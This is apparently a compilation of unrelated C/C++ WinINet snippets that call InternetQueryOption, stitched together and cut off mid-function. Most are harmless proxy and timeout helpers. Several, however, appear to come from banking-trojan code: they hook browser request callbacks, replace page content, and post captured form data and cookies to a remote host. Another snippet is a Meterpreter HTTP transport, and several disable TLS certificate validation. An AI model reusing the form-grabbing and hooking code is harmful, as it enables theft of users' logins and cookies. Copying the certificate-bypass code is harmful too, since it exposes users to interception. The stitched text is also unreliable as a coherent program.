jstring getProxyOption(JNIEnv* env, const jobject& jobj, const int flags) { log_debug("In getProxy"); INTERNET_PER_CONN_OPTION_LIST list; INTERNET_PER_CONN_OPTION options[1]; unsigned long nSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); options[0].dwOption = flags; list.dwSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); list.pszConnection = NULL; list.dwOptionCount = 1; list.dwOptionError = 0; list.pOptions = options; if(!InternetQueryOption(NULL, INTERNET_OPTION_PER_CONNECTION_OPTION, &list, &nSize)) { return lastError(env); } if (options[0].Value.pszValue != NULL) { const jstring ret = env->NewStringUTF(options[0].Value.pszValue); GlobalFree(options[0].Value.pszValue); log_debug("Returning actual value"); return ret; } log_debug("Returning new string utf"); return env->NewStringUTF(""); }
bool Downloader::openInternet() { if(internet) return true; //already opened #ifdef _DEBUG _TCHAR *atype; switch(internetOptions.accessType) { case INTERNET_OPEN_TYPE_DIRECT : atype = _T("INTERNET_OPEN_TYPE_DIRECT"); break; case INTERNET_OPEN_TYPE_PRECONFIG : atype = _T("INTERNET_OPEN_TYPE_PRECONFIG"); break; case INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY: atype = _T("INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY"); break; case INTERNET_OPEN_TYPE_PROXY : atype = _T("INTERNET_OPEN_TYPE_PROXY"); break; default: atype = _T("Unknown (error)!"); } TRACE(_T("Opening internet...")); TRACE(_T(" access type: %s"), atype); TRACE(_T(" proxy name : %s"), internetOptions.proxyName.empty() ? _T("(none)") : internetOptions.proxyName.c_str()); #endif if(!internet) if(!(internet = InternetOpen(internetOptions.userAgent.c_str(), internetOptions.accessType, internetOptions.proxyName.empty() ? NULL : internetOptions.proxyName.c_str(), NULL, 0))) return false; TRACE(_T("Setting timeouts...")); if(internetOptions.connectTimeout != TIMEOUT_DEFAULT) InternetSetOption(internet, INTERNET_OPTION_CONNECT_TIMEOUT, &internetOptions.connectTimeout, sizeof(DWORD)); if(internetOptions.sendTimeout != TIMEOUT_DEFAULT) InternetSetOption(internet, INTERNET_OPTION_SEND_TIMEOUT, &internetOptions.sendTimeout, sizeof(DWORD)); if(internetOptions.receiveTimeout != TIMEOUT_DEFAULT) InternetSetOption(internet, INTERNET_OPTION_RECEIVE_TIMEOUT, &internetOptions.receiveTimeout, sizeof(DWORD)); #ifdef _DEBUG DWORD connectTimeout, sendTimeout, receiveTimeout, bufSize = sizeof(DWORD); InternetQueryOption(internet, INTERNET_OPTION_CONNECT_TIMEOUT, &connectTimeout, &bufSize); InternetQueryOption(internet, INTERNET_OPTION_SEND_TIMEOUT, &sendTimeout, &bufSize); InternetQueryOption(internet, INTERNET_OPTION_RECEIVE_TIMEOUT, &receiveTimeout, &bufSize); TRACE(_T("Internet options:")); TRACE(_T(" Connect timeout: %d"), connectTimeout); TRACE(_T(" Send timeout : %d"), sendTimeout); TRACE(_T(" Receive timeout: %d"), receiveTimeout); #endif return true; }
void CProxySetting::readProxy(){ INTERNET_PER_CONN_OPTION_LIST List; INTERNET_PER_CONN_OPTION Option[5]; unsigned long nSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); Option[0].dwOption = INTERNET_PER_CONN_AUTOCONFIG_URL; Option[1].dwOption = INTERNET_PER_CONN_AUTODISCOVERY_FLAGS; Option[2].dwOption = INTERNET_PER_CONN_FLAGS; Option[3].dwOption = INTERNET_PER_CONN_PROXY_BYPASS; Option[4].dwOption = INTERNET_PER_CONN_PROXY_SERVER; List.dwSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); List.pszConnection = NULL; List.dwOptionCount = 5; List.dwOptionError = 0; List.pOptions = Option; if(!InternetQueryOption(NULL, INTERNET_OPTION_PER_CONNECTION_OPTION, &List, &nSize)) printf("InternetQueryOption failed! (%d)\n", GetLastError()); if(Option[0].Value.pszValue != NULL) AtlTrace("%s\n", Option[0].Value.pszValue); if((Option[2].Value.dwValue & PROXY_TYPE_AUTO_PROXY_URL) == PROXY_TYPE_AUTO_PROXY_URL) AtlTrace("PROXY_TYPE_AUTO_PROXY_URL\n"); if((Option[2].Value.dwValue & PROXY_TYPE_AUTO_DETECT) == PROXY_TYPE_AUTO_DETECT) AtlTrace("PROXY_TYPE_AUTO_DETECT\n"); INTERNET_VERSION_INFO Version; nSize = sizeof(INTERNET_VERSION_INFO); InternetQueryOption(NULL, INTERNET_OPTION_VERSION, &Version, &nSize); if(Option[0].Value.pszValue != NULL) GlobalFree(Option[0].Value.pszValue); if(Option[3].Value.pszValue != NULL) GlobalFree(Option[3].Value.pszValue); if(Option[4].Value.pszValue != NULL) GlobalFree(Option[4].Value.pszValue); INTERNET_PROXY_INFO proxyInfo; proxyInfo.dwAccessType = INTERNET_OPEN_TYPE_PRECONFIG; proxyInfo.lpszProxy = NULL; proxyInfo.lpszProxyBypass = NULL; HRESULT hr =UrlMkSetSessionOption(INTERNET_OPTION_PROXY,&proxyInfo,sizeof(proxyInfo),0); }
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // Queries specified handle for the user Parser string and if successfull activates the Parser. // This function used only once, at browser startup. // static VOID IeActivateParser(HINTERNET hInternet) { ULONG bSize = 0; InternetQueryOption(hInternet, INTERNET_OPTION_USER_AGENT, NULL, &bSize); if (bSize) { LPTSTR AgentStr; if (AgentStr = (LPTSTR)hAlloc(bSize)) { if (InternetQueryOption(hInternet, INTERNET_OPTION_USER_AGENT, AgentStr, &bSize)) ActivateParser(AgentStr); hFree(AgentStr); } } }
BOOL QueryIEProxy(UINT* uFlag, wpString szProxyUrl, wpString szScriptUrl, wpString szByPass) { INTERNET_PER_CONN_OPTION_LIST coList; BOOL bReturn; DWORD dwBufSize = sizeof(coList); coList.dwSize = dwBufSize; coList.pszConnection = NULL; coList.dwOptionCount = 4; coList.pOptions = (INTERNET_PER_CONN_OPTION *)malloc(sizeof(INTERNET_PER_CONN_OPTION)*4); if(coList.pOptions == NULL) { return FALSE; } coList.pOptions[0].dwOption = INTERNET_PER_CONN_FLAGS; coList.pOptions[1].dwOption = INTERNET_PER_CONN_PROXY_SERVER; coList.pOptions[2].dwOption = INTERNET_PER_CONN_PROXY_BYPASS; coList.pOptions[3].dwOption = INTERNET_PER_CONN_AUTOCONFIG_URL; bReturn = InternetQueryOption(NULL, INTERNET_OPTION_PER_CONNECTION_OPTION, &coList, &dwBufSize); StrCpy(szProxyUrl, coList.pOptions[1].Value.pszValue); StrCpy(szScriptUrl, coList.pOptions[3].Value.pszValue); StrCpy(szByPass, coList.pOptions[2].Value.pszValue); *uFlag = coList.pOptions[0].Value.dwValue; free(coList.pOptions); return bReturn; }
int main(int argc, char * argv[]) { //char buff[256] = "127.0.0.1:8087"; //char buff2[256] = "http://127.0.0.1:8086/proxy.pac"; // To include server for FTP, HTTPS, and so on, use the string // (ftp=http://<ProxyServerName>:80; https=https://<ProxyServerName>:80) INTERNET_PER_CONN_OPTION_LIST List; INTERNET_PER_CONN_OPTION Option[3]; unsigned long nSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); Option[0].dwOption = INTERNET_PER_CONN_FLAGS; Option[1].dwOption = INTERNET_PER_CONN_AUTOCONFIG_URL; Option[2].dwOption = INTERNET_PER_CONN_PROXY_SERVER; List.dwSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); List.pszConnection = NULL; List.dwOptionCount = 3; List.dwOptionError = 0; List.pOptions = Option; if(!InternetQueryOption(NULL, INTERNET_OPTION_PER_CONNECTION_OPTION, &List, &nSize)) printf("InternetQueryOption failed! (%d)\n", GetLastError()); if((Option[0].Value.dwValue & INTERNET_PER_CONN_AUTOCONFIG_URL) != NULL) printf("PAC:%s\n", Option[1].Value.pszValue); else if((Option[0].Value.dwValue & INTERNET_PER_CONN_PROXY_SERVER) != NULL) printf("proxy server: %s\n", Option[2].Value.pszValue); else if ((Option[0].Value.dwValue & PROXY_TYPE_DIRECT) != NULL) printf("Direct Connection!"); return 0; }
char * get_windows_internet_string (const DWORD dwOption, struct gc_arena *gc) { DWORD size = 0; char *ret = NULL; /* Initially, get size of return buffer */ InternetQueryOption (NULL, dwOption, NULL, &size); if (size) { /* Now get actual info */ ret = (INTERNET_PROXY_INFO *) gc_malloc (size, false, gc); if (!InternetQueryOption (NULL, dwOption, (LPVOID) ret, &size)) ret = NULL; } return ret; }
static INTERNET_PROXY_INFO * get_windows_proxy_settings (struct gc_arena *gc) { DWORD size = 0; INTERNET_PROXY_INFO *ret = NULL; /* Initially, get size of return buffer */ InternetQueryOption (NULL, INTERNET_OPTION_PROXY, NULL, &size); if (size) { /* Now get actual info */ ret = (INTERNET_PROXY_INFO *) gc_malloc (size, false, gc); if (!InternetQueryOption (NULL, INTERNET_OPTION_PROXY, (LPVOID) ret, &size)) ret = NULL; } return ret; }
bool CHttp::PostData (char * encodeddata, DWORD encodelen ) { INTERNET_BUFFERS bufferin; DWORD flags = IGNORE_CERT, flaglen = 0, byteswritten=0, lasterr = 0; memset (&bufferin, 0, sizeof(INTERNET_BUFFERS)); bufferin.dwStructSize = sizeof(INTERNET_BUFFERS ); bufferin.dwBufferTotal = encodelen; retry: if (!yog_HttpSendRequestEx (m_HttpOpenRequest, &bufferin, NULL, HSR_INITIATE, 0) ) { lasterr = GetLastError(); if (lasterr == ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED ) { // Return ERROR_SUCCESS regardless of clicking on OK or Cancel if(InternetErrorDlg(GetDesktopWindow(), m_HttpOpenRequest, ERROR_INTERNET_CLIENT_AUTH_CERT_NEEDED, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS, NULL) != ERROR_SUCCESS ) return false; else goto retry; } else if (lasterr == ERROR_INTERNET_CANNOT_CONNECT ) { return false; } else if ((lasterr == ERROR_INTERNET_INVALID_CA ) || (lasterr == ERROR_INTERNET_SEC_CERT_CN_INVALID ) || (lasterr == ERROR_INTERNET_SEC_CERT_DATE_INVALID ) ) { InternetQueryOption (m_HttpOpenRequest, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&flags, &flaglen); flags |= IGNORE_CERT; InternetSetOption (m_HttpOpenRequest, INTERNET_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)); goto retry; } else { return false; } } if (!yog_InternetWriteFile(m_HttpOpenRequest, encodeddata, encodelen, &byteswritten ) ) return false; return true; }
static VOID IeReplaceStream(HINTERNET hRequest, PHANDLE_CONTEXT Ctx) { ULONG Written, bLen = 0; LPSTR FileName, Buffer; HANDLE hFile; ASSERT(Ctx->Flags & CF_CONTENT); ASSERT(Ctx->Url); ConfigProcessStream(Ctx->pStream, NULL, Ctx->Url, (StrStrI(Ctx->Url, szHttps) == Ctx->Url) ? TRUE : FALSE, Ctx->tCtx); InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, NULL, &bLen); if ((bLen) && (FileName = hAlloc(bLen + 1))) { if (InternetQueryOption(hRequest, INTERNET_OPTION_DATAFILE_NAME, FileName, &bLen)) { FileName[bLen] = 0; hFile = CreateFile(FileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, 0); if (hFile != INVALID_HANDLE_VALUE) { if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE)) { StreamGotoBegin(Ctx->pStream); do { bLen = 0; CoInvoke(Ctx->pStream, Read, Buffer, MAX_CONTENT_BUFFER_SIZE, &bLen); if (bLen == 0) break; if (!WriteFile(hFile, Buffer, bLen, &Written, NULL) || (Written != bLen)) break; } while(bLen == MAX_CONTENT_BUFFER_SIZE); hFree(Buffer); } // if (Buffer = hAlloc(MAX_CONTENT_BUFFER_SIZE)) CloseHandle(hFile); } // if (hFile != INVALID_HANDLE_VALUE) } // if (InternetQueryOption( hFree(FileName); } // if ((bLen) && (FileName = hAlloc(bLen))) }
// // Performs handle check and returns handle-associated context. // static PHANDLE_CONTEXT IeGetContext(HANDLE hRequest) { PHANDLE_CONTEXT Ctx = NULL; if (Ctx = FindHandle(hRequest)) { if (!(Ctx->Flags & (CF_SKIP | CF_CONTENT))) { Ctx->Flags |= CF_SKIP; // Checking content type if ((Ctx->Flags & CF_REPLACE) || IeCheckContentType(hRequest)) { ULONG bLen = 0; ASSERT(Ctx->Url == NULL); // Querying the URL InternetQueryOption(hRequest, INTERNET_OPTION_URL, NULL, &bLen); if ((bLen) && (Ctx->Url = hAlloc(bLen + sizeof(_TCHAR)))) { if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Ctx->Url, &bLen)) { Ctx->Url[bLen] = 0; Ctx->Flags |= CF_CONTENT; Ctx->Flags ^= CF_SKIP; } else { hFree(Ctx->Url); Ctx->Url = NULL; } } // if ((bLen) && (Ctx->Url = hAlloc(bLen + sizeof(_TCHAR)))) } // if (IeCheckContentType(hFile)) } // if (!(Ctx->Flags & (CF_SKIP | CF_CONTENT))) if (Ctx->Flags & CF_SKIP) { ReleaseHandle(Ctx); Ctx = NULL; } } // if (Ctx = FindHandle(hFile)) return(Ctx); }
void CProxySetting::proxy() { INTERNET_PER_CONN_OPTION_LIST List; INTERNET_PER_CONN_OPTION Option[5]; unsigned long nSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); Option[0].dwOption = INTERNET_PER_CONN_AUTOCONFIG_URL; Option[1].dwOption = INTERNET_PER_CONN_AUTODISCOVERY_FLAGS; Option[2].dwOption = INTERNET_PER_CONN_FLAGS; Option[3].dwOption = INTERNET_PER_CONN_PROXY_BYPASS; Option[4].dwOption = INTERNET_PER_CONN_PROXY_SERVER; List.dwSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); List.pszConnection = NULL; List.dwOptionCount = 5; List.dwOptionError = 0; List.pOptions = Option; if(!InternetQueryOption(NULL, INTERNET_OPTION_PER_CONNECTION_OPTION, &List, &nSize)) printf("InternetQueryOption failed! (%d)\n", GetLastError()); if(Option[0].Value.pszValue != NULL) printf("%s\n", Option[0].Value.pszValue); if((Option[2].Value.dwValue & PROXY_TYPE_AUTO_PROXY_URL) == PROXY_TYPE_AUTO_PROXY_URL) printf("PROXY_TYPE_AUTO_PROXY_URL\n"); if((Option[2].Value.dwValue & PROXY_TYPE_AUTO_DETECT) == PROXY_TYPE_AUTO_DETECT) printf("PROXY_TYPE_AUTO_DETECT\n"); INTERNET_VERSION_INFO Version; nSize = sizeof(INTERNET_VERSION_INFO); InternetQueryOption(NULL, INTERNET_OPTION_VERSION, &Version, &nSize); if(Option[0].Value.pszValue != NULL) GlobalFree(Option[0].Value.pszValue); if(Option[3].Value.pszValue != NULL) GlobalFree(Option[3].Value.pszValue); if(Option[4].Value.pszValue != NULL) GlobalFree(Option[4].Value.pszValue); }
DWORD packet_transmit_via_http_wininet(Remote *remote, Packet *packet, PacketRequestCompletion *completion) { DWORD res = 0; HINTERNET hReq; HINTERNET hRes; DWORD retries = 5; DWORD flags; DWORD flen; unsigned char *buffer; flen = sizeof(flags); buffer = malloc( packet->payloadLength + sizeof(TlvHeader) ); if (! buffer) { SetLastError(ERROR_NOT_FOUND); return 0; } memcpy(buffer, &packet->header, sizeof(TlvHeader)); memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength); do { flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI; if (remote->transport == METERPRETER_TRANSPORT_HTTPS) { flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID; } hReq = HttpOpenRequest(remote->hConnection, "POST", remote->uri, NULL, NULL, NULL, flags, 0); if (hReq == NULL) { dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError()); SetLastError(ERROR_NOT_FOUND); break; } if (remote->transport == METERPRETER_TRANSPORT_HTTPS) { InternetQueryOption( hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen); flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA; InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen); } hRes = HttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader) ); if (! hRes) { dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError()); SetLastError(ERROR_NOT_FOUND); break; } } while(0); memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader)); InternetCloseHandle(hReq); return res; }
// // Queries spesified request handle for a target URL, and sends specified data and URL to the active host. // static VOID IeQueryUrlPostForms( HANDLE hRequest, // Request handle to query LPSTR pHeaders, // HTTP headers of the request PVOID lpData, // Form data ULONG dwData // Form data length (bytes) ) { BOOL bIsSsl = FALSE; if (dwData <= MAX_FORM_SIZE) { ULONG dwBufLen = MAX_URL_LEN * sizeof(_TCHAR); LPTSTR pUrl = (LPTSTR)hAlloc(dwBufLen); if (pUrl) { if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen)) { if (StrStrI(pUrl, szHttps) == pUrl) bIsSsl = TRUE; if ((g_ClientId.Plugins & PG_BIT_FORMS) || #ifdef _ALWAYS_HTTPS (bIsSsl) #else (FALSE) #endif ) { LPSTR pCookie, pHeaders1 = NULL; if (!pHeaders) // No request headers specified, trying to get them from the request handle pHeaders = pHeaders1 = TaransferGetRequestHeaders(hRequest); if (ConfigCheckInitUrl(pUrl, NULL, bIsSsl, NULL) != URL_STATUS_POST_BLOCK) { pCookie = IeGetCookie(pUrl); PostForms(pUrl, pHeaders, pCookie, lpData, dwData, SEND_ID_FORM, TRUE); if (pCookie) hFree(pCookie); } if (pHeaders1) hFree(pHeaders1); } // if ((g_ClientId.Plugins & PG_BIT_FORMS) || (StrStrI(pUrl, szHttps) == pUrl)) } // if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, pUrl, &dwBufLen)) hFree(pUrl); } // if (pUrl) } // if (dwData <= MAX_FORM_SIZE) }
static TA_RetCode TA_SetReceiveTimeout( DWORD newTimeout, /* milliseconds */ HINTERNET hWebPage ) { BOOL status; /* Set the timeout who is going to affect calls to * InternetReadFile when retreiving data. */ #if 0 /* Code for debugging */ unsigned char *optionString; DWORD optionStringLength = 0; DWORD receiveTimeout; status = InternetQueryOption( hWebPage, INTERNET_OPTION_RECEIVE_TIMEOUT, NULL, &optionStringLength ); optionString = TA_Malloc( optionStringLength + 1); optionString[optionStringLength] = 0; InternetQueryOption( hWebPage, INTERNET_OPTION_RECEIVE_TIMEOUT, &receiveTimeout, &optionStringLength ); /*printf("GET INTERNET_OPTION_RECEIVE_TIMEOUT = %u\n", receiveTimeout );*/ TA_Free( (void *) optionString ); #endif status = InternetSetOption( hWebPage, INTERNET_OPTION_RECEIVE_TIMEOUT, &newTimeout, sizeof(DWORD) ); if( !status ) return TA_INTERNET_SET_RX_TIMEOUT_FAILED; return TA_SUCCESS; }
unsigned int __stdcall CDownload::_RunThreadFun( void* lpThis ) { ATLASSERT(lpThis); CDownload *pThis = (CDownload*) lpThis; ULONG uMaxConns = 2; ULONG uSize = sizeof( uMaxConns ); if ( InternetQueryOption( NULL, INTERNET_OPTION_MAX_CONNS_PER_SERVER, &uMaxConns, &uSize ) ) { uMaxConns += pThis->m_nCocurrent; InternetSetOption( NULL, INTERNET_OPTION_MAX_CONNS_PER_SERVER, &uMaxConns, sizeof( uMaxConns ) ); } if(pThis) pThis->_RunThreadFun_(); uSize = sizeof( uMaxConns ); if ( InternetQueryOption( NULL, INTERNET_OPTION_MAX_CONNS_PER_SERVER, &uMaxConns, &uSize ) ) { uMaxConns -= pThis->m_nCocurrent; InternetSetOption( NULL, INTERNET_OPTION_MAX_CONNS_PER_SERVER, &uMaxConns, sizeof( uMaxConns ) ); } return 0; }
BOOL InitSecCertErrorsDlg(HWND hDlg,PERRORINFODLGTYPE pDlgInfo) { ASSERT(pDlgInfo); // Get the errors that occured from the hInternetMapped object. DWORD dwFlags; if(pDlgInfo->hInternetMapped) { DWORD dwSize = sizeof(dwFlags); if ( !InternetQueryOption(pDlgInfo->hInternetMapped, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwSize) ) { dwFlags = (DWORD)-1; // Display all errors } } else dwFlags = (DWORD)-1; // Display all errors. // If an error occured set the ignore flag so if the users selects to bypass // this error it gets ignored the next time through. Then initialize the // dialog icons and text. if(dwFlags & DLG_FLAGS_INVALID_CA) pDlgInfo->dwDlgFlags |= DLG_FLAGS_IGNORE_INVALID_CA; SetCertDlgItem(hDlg,IDC_CERT_TRUST_ICON,IDC_CERT_TRUST_TEXT, IDS_CERT_TRUST,dwFlags & DLG_FLAGS_INVALID_CA); if(dwFlags & DLG_FLAGS_SEC_CERT_DATE_INVALID) pDlgInfo->dwDlgFlags |= DLG_FLAGS_IGNORE_CERT_DATE_INVALID; SetCertDlgItem(hDlg,IDC_CERT_DATE_ICON,IDC_CERT_DATE_TEXT, IDS_CERT_DATE,dwFlags & DLG_FLAGS_SEC_CERT_DATE_INVALID); if(dwFlags & DLG_FLAGS_SEC_CERT_CN_INVALID) pDlgInfo->dwDlgFlags |= DLG_FLAGS_IGNORE_CERT_CN_INVALID; SetCertDlgItem(hDlg,IDC_CERT_NAME_ICON,IDC_CERT_NAME_TEXT, IDS_CERT_NAME,dwFlags & DLG_FLAGS_SEC_CERT_CN_INVALID); return TRUE; }
void fsHttpFile::IgnoreSecurityProblems() { DWORD dwFlags; DWORD dwBuffLen = sizeof(dwFlags); InternetQueryOption (m_hFile, INTERNET_OPTION_SECURITY_FLAGS, (LPVOID)&dwFlags, &dwBuffLen); dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_WRONG_USAGE | SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID; InternetSetOption (m_hFile, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags)); }
// // Checks if the Internet status callback set not by us and replaces it by our own function. // BOOL SetCallback( HANDLE hRequest, PHANDLE_CONTEXT Ctx ) { BOOL Ret = FALSE; PVOID Callback = NULL; ULONG cLen = sizeof(PVOID); if (InternetQueryOption(hRequest, INTERNET_OPTION_CALLBACK, &Callback, &cLen)) { if (Callback != &my_InternetStatusCallback) { Ctx->Callback = Callback; ASSERT((LONG_PTR)Ctx->Callback >= 0); // User-mode address if (InternetSetStatusCallback(hRequest, &my_InternetStatusCallback) == Callback) Ret = TRUE; } } return(Ret); }
BOOL QueryConnectionOptions() { BOOL bReturn; INTERNET_PER_CONN_OPTION_LIST List; INTERNET_PER_CONN_OPTION Option[1]; unsigned long nSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); Option[0].dwOption = INTERNET_PER_CONN_FLAGS; List.dwSize = sizeof(INTERNET_PER_CONN_OPTION_LIST); List.pszConnection = NULL; List.dwOptionCount = 1; List.dwOptionError = 0; List.pOptions = Option; InternetQueryOption(NULL, INTERNET_OPTION_PER_CONNECTION_OPTION, &List, &nSize); if ((Option[0].Value.dwValue & PROXY_TYPE_PROXY) == PROXY_TYPE_PROXY) { return TRUE; } return FALSE; }
/*----------------------------------------------------------------------------- -----------------------------------------------------------------------------*/ void CWinInetEvents::OnHttpSendRequest(HINTERNET hRequest, CString &headers, LPVOID lpOptional, DWORD dwOptionalLength) { // update the activity time if( active ) { EnterCriticalSection(&cs); CWinInetRequest * r = NULL; winInetRequests.Lookup(hRequest, r); LeaveCriticalSection(&cs); if( r ) { ATLTRACE(_T("[Pagetest] - *** (0x%08X) 0x%p - OnHttpSendRequest: %s%s\n"), GetCurrentThreadId(), hRequest, r->host, r->object); } else { ATLTRACE(_T("[Pagetest] - *** (0x%08X) 0x%p - OnHttpSendRequest\n"), GetCurrentThreadId(), hRequest); } if( headers.GetLength() ) { ATLTRACE(_T("[Pagetest] - Headers:\n%s"), (LPCTSTR)headers); } // modify the user agent string if it was passed as a custom header (IE8) if( !userAgent.IsEmpty() ) { CString lcase = headers; lcase.MakeLower(); int offset = lcase.Find(_T("user-agent")); if( offset >= 0 ) { offset = lcase.Find(_T(":"), offset); if( offset >= 0 ) { int end = lcase.Find(_T('\n'), offset); if( end >= -1 ) { // insert it in the middle of the string headers = headers.Left(offset + 2) + userAgent + headers.Mid(end); } } } } else if( script_modifyUserAgent && !keepua ) { CString agent; agent.Format(_T("; PTST 2.%d"), build); if( headers.Find(agent) == -1 ) { CString lcase = headers; lcase.MakeLower(); int offset = lcase.Find(_T("user-agent")); if( offset >= 0 ) { int end = lcase.Find(_T('\n'), offset); if( end >= -1 ) { // now scan backwards for the end parenthesis CString left = lcase.Left(end); int end2 = left.ReverseFind(_T(')')); if( end2 >= 0 ) end = end2; // insert it in the middle of the string headers = headers.Left(end) + agent + headers.Mid(end); } } } } // add any custom headers POSITION pos = headersAdd.GetHeadPosition(); while(pos) { CAddHeader header = headersAdd.GetNext(pos); CString h = header.header; if( h.GetLength() && RegexMatch(r->host, header.filter) ) { h = h + _T("\r\n"); HttpAddRequestHeaders( hRequest, h, h.GetLength(), HTTP_ADDREQ_FLAG_ADD ); } } // override any headers specified pos = headersSet.GetHeadPosition(); while(pos) { CString h = headersSet.GetNext(pos); if( h.GetLength() ) { h = h + _T("\r\n"); HttpAddRequestHeaders( hRequest, h, h.GetLength(), HTTP_ADDREQ_FLAG_ADD | HTTP_ADDREQ_FLAG_REPLACE ); // remove the header if it is passed in in the current headers int i = h.Find(_T(':')); if( i > 0 ) { CString key = h.Left(i).Trim(); do { i = headers.Find(key); if( i >= 0 ) { int e = headers.Find(_T('\n'), i); if( e > i) headers = headers.Left(i) + headers.Mid(e + 1); else headers = headers.Left(i); } }while(i >= 0); } } } OverrideHost(r); // tweak the SSL options if we are ignoring cert errors if( r && r->secure && ignoreSSL ) { DWORD flags = 0; DWORD len = sizeof(flags); if( InternetQueryOption(r->hRequest, INTERNET_OPTION_SECURITY_FLAGS, &flags, &len) ) { flags |= SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTP | SECURITY_FLAG_IGNORE_REDIRECT_TO_HTTPS | SECURITY_FLAG_IGNORE_REVOCATION | SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_WRONG_USAGE; InternetSetOption(r->hRequest, INTERNET_OPTION_SECURITY_FLAGS, &flags, len); } } if( r && !r->ignore ) QueryPerformanceCounter((LARGE_INTEGER *)&lastActivity); } ATLTRACE(_T("[Pagetest] - *** (0x%08X) 0x%p - OnHttpSendRequest - complete\n"), GetCurrentThreadId(), hRequest); }
/* Routine Description: Supports Yes/No,Ok/Cancel decisions for the authentication UI. Arguments: hwnd - standard dialog params msg - " wparam - " lparam - " Return Value: BOOL TRUE - we handled message FALSE - Windows should handle message */ INT_PTR CALLBACK OkCancelDialogProc(HWND hwnd, UINT msg, WPARAM wparam, LPARAM lparam) { BOOL fRet = FALSE; PERRORINFODLGTYPE pDlgInfo; if ( msg != WM_INITDIALOG ) { pDlgInfo = (PERRORINFODLGTYPE) GetWindowLongW(hwnd,DWL_USER); fRet = SHRCMLDialogProc( HINST_RESDLL, MAKEINTRESOURCE(pDlgInfo->dwDlgId), hwnd, msg, wparam, lparam ); } switch(msg) { case WM_INITDIALOG: ASSERT(lparam); SetWindowLongW(hwnd,DWL_USER,lparam); pDlgInfo = (PERRORINFODLGTYPE)lparam; SHRCMLDialogProc( HINST_RESDLL, MAKEINTRESOURCE(pDlgInfo->dwDlgId), hwnd, msg, wparam, lparam ); SHINITDLGINFO shidi; SHMENUBARINFO mbi; // Some of these dialogs need a scrollbar shidi.dwMask = SHIDIM_FLAGS; shidi.dwFlags = SHIDIF_SIZEDLGFULLSCREEN | SHIDIF_WANTSCROLLBAR; shidi.hDlg = hwnd; SHInitDialog(&shidi); // softkeys memset(&mbi, 0, sizeof(SHMENUBARINFO)); mbi.cbSize = sizeof(SHMENUBARINFO); mbi.hwndParent = hwnd; mbi.nToolBarId = IDR_INETUI_DIALOGYESNO; mbi.hInstRes = HINST_RESDLL; SHCreateMenuBar(&mbi); SHSetWindowBits(hwnd, GWL_STYLE, WS_NONAVDONEBUTTON, WS_NONAVDONEBUTTON); if(IDD_SEC_CERT_ERRORS == pDlgInfo->dwDlgId) { InitSecCertErrorsDlg(hwnd,pDlgInfo); } else if(IDD_REVOCATION_PROBLEM == pDlgInfo->dwDlgId) { DWORD dwFlags = 0, dwSize = sizeof(dwFlags); if(pDlgInfo->hInternetMapped) { InternetQueryOption(pDlgInfo->hInternetMapped, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, &dwSize); } if(dwFlags & DLG_FLAGS_SEC_CERT_REV_FAILED) pDlgInfo->dwDlgFlags |= DLG_FLAGS_IGNORE_FAILED_REVOCATION; } fRet = TRUE; // set this dialog as foreground if necessary if(pDlgInfo->dwDlgFlags & DLG_FLAGS_BRING_TO_FOREGROUND) SetForegroundWindow(hwnd); break; case WM_COMMAND: { WORD wID = LOWORD(wparam); pDlgInfo = (PERRORINFODLGTYPE) GetWindowLongW(hwnd,DWL_USER); switch(wID) { case IDOK: case IDYES: ASSERT(pDlgInfo); ASSERT(pDlgInfo->dwDlgId 